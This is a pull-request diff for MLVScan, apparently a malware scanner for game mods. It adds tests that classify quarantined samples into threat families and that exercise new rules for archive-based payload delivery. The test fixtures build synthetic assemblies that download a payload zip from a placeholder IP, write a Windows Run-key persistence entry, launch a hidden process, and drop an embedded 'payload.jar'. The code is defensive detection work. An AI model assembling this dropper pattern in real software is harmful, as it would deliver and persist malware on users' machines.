Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Directory.Build.props
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<Project>
<PropertyGroup>
<Version>1.8.0</Version>
<Version>1.8.1</Version>
<Company>Bars</Company>
<Product>MLVScan</Product>
</PropertyGroup>
Expand Down
87 changes: 87 additions & 0 deletions MLVScan.Core.Tests/Integration/NewSampleThreatFamilyTests.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
using FluentAssertions;
using MLVScan.Services;
using MLVScan.Services.ThreatIntel;
using Xunit;

namespace MLVScan.Core.Tests.Integration;

public class NewSampleThreatFamilyTests
{
[SkippableTheory]
[InlineData(@"BetterPatrols1\bin\Win64_Shipping_Client\BetterPatrols.dll.di", "family-pawns-app-dropper-v1", "archive-userprofile-runkey-hidden-launch")]
[InlineData(@"BetterPatrols2\bin\Win64_Shipping_Client\BetterPatrols.dll.di", "family-pawns-app-dropper-v1", "archive-userprofile-runkey-hidden-launch")]
[InlineData(@"BloodAndBanners\bin\Win64_Shipping_Client\BloodAndBanners.Core.dll.di", "family-pawns-app-dropper-v1", "archive-userprofile-runkey-hidden-launch")]
[InlineData(@"Polygamy\ValleyPolygamy.dll.di", "family-blockchain-java-stager-v1", "evm-resolved-jar-runas")]
public void Scan_NewMaliciousSample_WithoutHashEvidence_ShouldMatchBehaviorFamily(
string relativePath,
string expectedFamilyId,
string expectedVariantId)
{
string path = GetSamplePath(relativePath);
var scanner = new AssemblyScanner(RuleFactory.CreateDefaultRules());

var findings = scanner.Scan(path).ToList();
var matches = new ThreatFamilyClassifier().Classify(findings, sha256Hash: null);

matches.Should().Contain(match =>
match.FamilyId == expectedFamilyId &&
match.VariantId == expectedVariantId &&
!match.ExactHashMatch,
"the confirmed sample must be recognized from behavior before an exact hash is added");
}

[SkippableFact]
public void Scan_BloodAndBannersWrapper_WithoutCoreCompanion_ShouldRemainClean()
{
string path = GetSamplePath(@"BloodAndBanners\bin\Win64_Shipping_Client\BloodAndBanners.dll.di");
var scanner = new AssemblyScanner(RuleFactory.CreateDefaultRules());

var findings = scanner.Scan(path).ToList();
var matches = new ThreatFamilyClassifier().Classify(findings, sha256Hash: null);

findings.Should().BeEmpty("the wrapper has no retained malicious behavior in isolation");
matches.Should().BeEmpty("the malicious behavior resides in BloodAndBanners.Core.dll");
}

[SkippableTheory]
[InlineData(@"BetterPatrols1\bin\Win64_Shipping_Client\BetterPatrols.dll.di", "family-pawns-app-dropper-v1")]
[InlineData(@"BetterPatrols2\bin\Win64_Shipping_Client\BetterPatrols.dll.di", "family-pawns-app-dropper-v1")]
[InlineData(@"BloodAndBanners\bin\Win64_Shipping_Client\BloodAndBanners.Core.dll.di", "family-pawns-app-dropper-v1")]
[InlineData(@"Polygamy\ValleyPolygamy.dll.di", "family-blockchain-java-stager-v1")]
public void Scan_NewMaliciousSample_WithHashEvidence_ShouldBeExactKnownThreat(
string relativePath,
string expectedFamilyId)
{
string path = GetSamplePath(relativePath);
byte[] bytes = File.ReadAllBytes(path);
var scanner = new AssemblyScanner(RuleFactory.CreateDefaultRules());

var dto = ScanResultMapper.ToDto(scanner.Scan(path).ToList(), Path.GetFileName(path), bytes, false);

dto.ThreatFamilies.Should().Contain(match =>
match.FamilyId == expectedFamilyId &&
match.VariantId == "exact-known-sample" &&
match.ExactHashMatch);
dto.Disposition.Should().NotBeNull();
dto.Disposition!.Classification.Should().Be("KnownThreat");
}

private static string GetSamplePath(string relativePath)
{
string? current = Directory.GetCurrentDirectory();

while (current != null)
{
string candidate = Path.Combine(current, "TO_ANALYZE", relativePath);
if (File.Exists(candidate))
{
return candidate;
}

current = Directory.GetParent(current)?.FullName;
}

Skip.If(true, $"Static sample not found in TO_ANALYZE: {relativePath}");
return string.Empty;
}
}
29 changes: 29 additions & 0 deletions MLVScan.Core.Tests/Integration/ThreatFamilyQuarantineTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ public class ThreatFamilyQuarantineTests
"PlayMakerX.dll.di",
"RealRadio.dll.di",
"RentalCars.dll.di",
"newauth.dll.di",
"S1API.Il2Cpp.MelonLoader.dll.di",
"ScheduleIMoreNpcs.dll.di",
"Skitching.dll.di",
Expand All @@ -41,6 +42,11 @@ public class ThreatFamilyQuarantineTests
"malware-clean-with-findings"
];

private static readonly HashSet<string> RecursiveSamplesAwaitingBehaviorModel = new(StringComparer.OrdinalIgnoreCase)
{
@"malware-suspicious-with-findings\RexonV5Menu.dll.di"
};

private readonly ITestOutputHelper _output;
private readonly string? _quarantineFolder;

Expand All @@ -64,6 +70,7 @@ public ThreatFamilyQuarantineTests(ITestOutputHelper output)
[InlineData("MelonLoaderMod55.dll.di", "family-webdownload-stage-exec-v3")]
[InlineData("NoPolice.dll.di", "family-webdownload-stage-exec-v3")]
[InlineData("RentalCars.dll.di", "family-webdownload-stage-exec-v3")]
[InlineData("newauth.dll.di", "family-obfuscated-metadata-loader-v2")]
[InlineData("ScheduleIMoreNpcs.dll.di", "family-obfuscated-metadata-loader-v2")]
[InlineData("Skitching.dll.di", "family-webdownload-stage-exec-v3")]
[InlineData("StorageHub.dll.di", "family-webdownload-stage-exec-v3")]
Expand All @@ -90,6 +97,23 @@ public void Scan_QuarantineSample_ShouldEmitExpectedThreatFamily(string filename
WriteThreatFamilyLog(filename, dto.ThreatFamilies!, dto.Findings);
}

[SkippableTheory]
[InlineData(@"malware-suspicious-with-findings\RexonV5Menu.dll.di")]
public void Scan_QuarantineSampleAwaitingBehaviorModel_ShouldRetainFindingsWithoutFamily(string filename)
{
var path = GetSamplePath(filename);
var assemblyBytes = File.ReadAllBytes(path);
var scanner = new AssemblyScanner(RuleFactory.CreateDefaultRules());

var findings = scanner.Scan(path).ToList();
var dto = ScanResultMapper.ToDto(findings, Path.GetFileName(path), assemblyBytes, false);

dto.Findings.Should().NotBeEmpty();
dto.ThreatFamilies.Should().BeNullOrEmpty();
dto.Disposition.Should().NotBeNull();
dto.Disposition!.Classification.Should().NotBe("KnownThreat");
}

[SkippableTheory]
[InlineData("DynamicOrders.dll.di", "webdownload-temp-ps1-hidden-powershell")]
[InlineData("LongLastingFertilizer.dll.di", "webdownload-temp-ps1-hidden-powershell")]
Expand Down Expand Up @@ -229,6 +253,11 @@ public void Scan_RecursiveQuarantineSamplesWithBehaviorEvidence_ShouldNotClassif
foreach (var path in samplePaths)
{
var relativePath = Path.GetRelativePath(_quarantineFolder!, path);
if (RecursiveSamplesAwaitingBehaviorModel.Contains(relativePath))
{
continue;
}

var assemblyBytes = File.ReadAllBytes(path);
var findings = scanner.Scan(path).ToList();
var dto = ScanResultMapper.ToDto(findings, Path.GetFileName(path), assemblyBytes, false);
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
using FluentAssertions;
using MLVScan.Models;
using MLVScan.Models.Rules;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Xunit;

namespace MLVScan.Core.Tests.Unit.Rules;

public class CoordinatedPayloadDeliveryRuleTests
{
private readonly CoordinatedPayloadDeliveryRule _rule = new();

[Fact]
public void PostAnalysisRefine_ArchiveAutorunHiddenLaunch_ReturnsFinding()
{
using var assembly = CreateArchiveInstaller(includeRegistryPersistence: true);
var existing = new[]
{
ProcessFinding("CreateNoWindow=true, WindowStyle=Hidden, Arguments: --hidden")
};

var findings = _rule.PostAnalysisRefine(assembly.MainModule, existing).ToList();

findings.Should().ContainSingle(finding =>
finding.RuleId == "CoordinatedPayloadDeliveryRule" &&
finding.Description.Contains("archive payload delivery", StringComparison.OrdinalIgnoreCase));
}

[Fact]
public void PostAnalysisRefine_ArchiveUpdaterWithoutPersistence_ReturnsNoFinding()
{
using var assembly = CreateArchiveInstaller(includeRegistryPersistence: false);
var existing = new[]
{
ProcessFinding("CreateNoWindow=true, WindowStyle=Hidden, Arguments: --hidden")
};

var findings = _rule.PostAnalysisRefine(assembly.MainModule, existing).ToList();

findings.Should().BeEmpty();
}

[Fact]
public void PostAnalysisRefine_ArchiveInstallerWithVisibleLaunch_ReturnsNoFinding()
{
using var assembly = CreateArchiveInstaller(includeRegistryPersistence: true);
var existing = new[] { ProcessFinding("Target: updater.exe") };

var findings = _rule.PostAnalysisRefine(assembly.MainModule, existing).ToList();

findings.Should().BeEmpty();
}

private static AssemblyDefinition CreateArchiveInstaller(bool includeRegistryPersistence)
{
var assembly = AssemblyDefinition.CreateAssembly(
new AssemblyNameDefinition("ArchiveInstaller", new Version(1, 0)),
"ArchiveInstaller",
ModuleKind.Dll);
var module = assembly.MainModule;
var type = new TypeDefinition("Test.Sample", "Installer", TypeAttributes.Public, module.TypeSystem.Object);
module.Types.Add(type);

var method = new MethodDefinition("Install", MethodAttributes.Public | MethodAttributes.Static, module.TypeSystem.Void);
method.Body = new MethodBody(method);
type.Methods.Add(method);
var il = method.Body.GetILProcessor();
il.Emit(OpCodes.Ldstr, "http://198.51.100.8/payload.zip");
il.Emit(OpCodes.Call, Method(module, "System.Net", "HttpWebRequest", "GetResponse"));
il.Emit(OpCodes.Call, Method(module, "System.IO", "File", "Create"));
il.Emit(OpCodes.Call, Method(module, "System.IO.Compression", "ZipFile", "ExtractToDirectory"));
il.Emit(OpCodes.Call, Method(module, "System", "Environment", "GetFolderPath"));
if (includeRegistryPersistence)
{
il.Emit(OpCodes.Ldstr, @"Software\Microsoft\Windows\CurrentVersion\Run");
il.Emit(OpCodes.Call, Method(module, "Microsoft.Win32", "RegistryKey", "SetValue"));
}
il.Emit(OpCodes.Call, Method(module, "System.Diagnostics", "Process", "Start"));
il.Emit(OpCodes.Ret);
return assembly;
}

private static MethodReference Method(ModuleDefinition module, string ns, string type, string name)
{
return new MethodReference(
name,
module.TypeSystem.Void,
new TypeReference(ns, type, module, module.TypeSystem.CoreLibrary));
}

private static ScanFinding ProcessFinding(string description)
{
return new ScanFinding("Test.Sample.Installer.Install", description, Severity.High, description)
{
RuleId = "ProcessStartRule"
};
}
}
90 changes: 90 additions & 0 deletions MLVScan.Core.Tests/Unit/Rules/EmbeddedArchivePayloadRuleTests.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
using FluentAssertions;
using MLVScan.Models;
using MLVScan.Models.Rules;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Xunit;

namespace MLVScan.Core.Tests.Unit.Rules;

public class EmbeddedArchivePayloadRuleTests
{
private readonly EmbeddedArchivePayloadRule _rule = new();

[Fact]
public void PostAnalysisRefine_EmbeddedZipWrittenBesideConcealedProcess_ReturnsFinding()
{
using var assembly = CreateAssemblyWithEmbeddedArchive();
var existing = new[]
{
new ScanFinding("Test.Loader.Run", "Controlled child process with redirected I/O", Severity.Medium, null)
{
RuleId = "ProcessStartRule"
}
};

var findings = _rule.PostAnalysisRefine(assembly.MainModule, existing).ToList();

findings.Should().ContainSingle(finding =>
finding.RuleId == "EmbeddedArchivePayloadRule" &&
finding.Description.Contains("ZIP/JAR", StringComparison.Ordinal));
}

[Fact]
public void PostAnalysisRefine_EmbeddedZipUsedAsOrdinaryAsset_ReturnsNoFinding()
{
using var assembly = CreateAssemblyWithEmbeddedArchive();

var findings = _rule.PostAnalysisRefine(assembly.MainModule, []).ToList();

findings.Should().BeEmpty();
}

private static AssemblyDefinition CreateAssemblyWithEmbeddedArchive()
{
var assembly = AssemblyDefinition.CreateAssembly(
new AssemblyNameDefinition("EmbeddedArchive", new Version(1, 0)),
"EmbeddedArchive",
ModuleKind.Dll);
var module = assembly.MainModule;
var type = new TypeDefinition("Test", "Loader", TypeAttributes.Public, module.TypeSystem.Object);
module.Types.Add(type);

var archive = Enumerable.Repeat((byte)0x41, 512).ToArray();
archive[0] = 0x50;
archive[1] = 0x4b;
archive[2] = 0x03;
archive[3] = 0x04;
var blobType = new TypeDefinition(
string.Empty,
"__StaticArrayInitTypeSize=512",
TypeAttributes.NestedPrivate | TypeAttributes.Sealed | TypeAttributes.ExplicitLayout,
new TypeReference("System", "ValueType", module, module.TypeSystem.CoreLibrary))
{
ClassSize = archive.Length,
PackingSize = 1
};
type.NestedTypes.Add(blobType);
var field = new FieldDefinition(
"ArchiveBytes",
FieldAttributes.Static | FieldAttributes.Assembly | FieldAttributes.HasFieldRVA,
blobType)
{
InitialValue = archive
};
type.Fields.Add(field);

var method = new MethodDefinition(
"Write",
MethodAttributes.Public | MethodAttributes.Static,
module.TypeSystem.Void);
method.Body = new MethodBody(method);
type.Methods.Add(method);
var fileType = new TypeReference("System.IO", "File", module, module.TypeSystem.CoreLibrary);
var write = new MethodReference("WriteAllBytes", module.TypeSystem.Void, fileType);
method.Body.GetILProcessor().Emit(OpCodes.Ldstr, "payload.jar");
method.Body.GetILProcessor().Emit(OpCodes.Call, write);
method.Body.GetILProcessor().Emit(OpCodes.Ret);
return assembly;
}
}
10 changes: 6 additions & 4 deletions MLVScan.Core.Tests/Unit/Rules/RuleFactoryTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,8 @@ public void CreateDefaultRules_ReturnsExpectedCount()
{
var rules = RuleFactory.CreateDefaultRules();

// Based on RuleFactory.cs, there are 19 rules.
rules.Should().HaveCount(19);
// Based on RuleFactory.cs, there are 21 rules.
rules.Should().HaveCount(21);
}

[Fact]
Expand All @@ -49,6 +49,8 @@ public void CreateDefaultRules_ContainsAllExpectedRuleTypes()
rules.Should().ContainSingle(r => r is SuspiciousLocalVariableRule);
rules.Should().ContainSingle(r => r is ObfuscatedReflectiveExecutionRule);
rules.Should().ContainSingle(r => r is EmbeddedResourceScriptRule);
rules.Should().ContainSingle(r => r is EmbeddedArchivePayloadRule);
rules.Should().ContainSingle(r => r is CoordinatedPayloadDeliveryRule);
rules.Should().ContainSingle(r => r is SuspiciousAssemblyNameRule);
}

Expand Down Expand Up @@ -111,8 +113,8 @@ public void CreateDefaultRulesWith_AppendsAdditionalRulesAfterBuiltInRules()

var rules = RuleFactory.CreateDefaultRulesWith(customRule);

rules.Should().HaveCount(20);
rules.Take(19).Should().ContainSingle(r => r is Base64Rule);
rules.Should().HaveCount(22);
rules.Take(21).Should().ContainSingle(r => r is Base64Rule);
rules[^1].Should().BeSameAs(customRule);
rules.Should().BeAssignableTo<IReadOnlyList<IScanRule>>();
}
Expand Down
Loading
Loading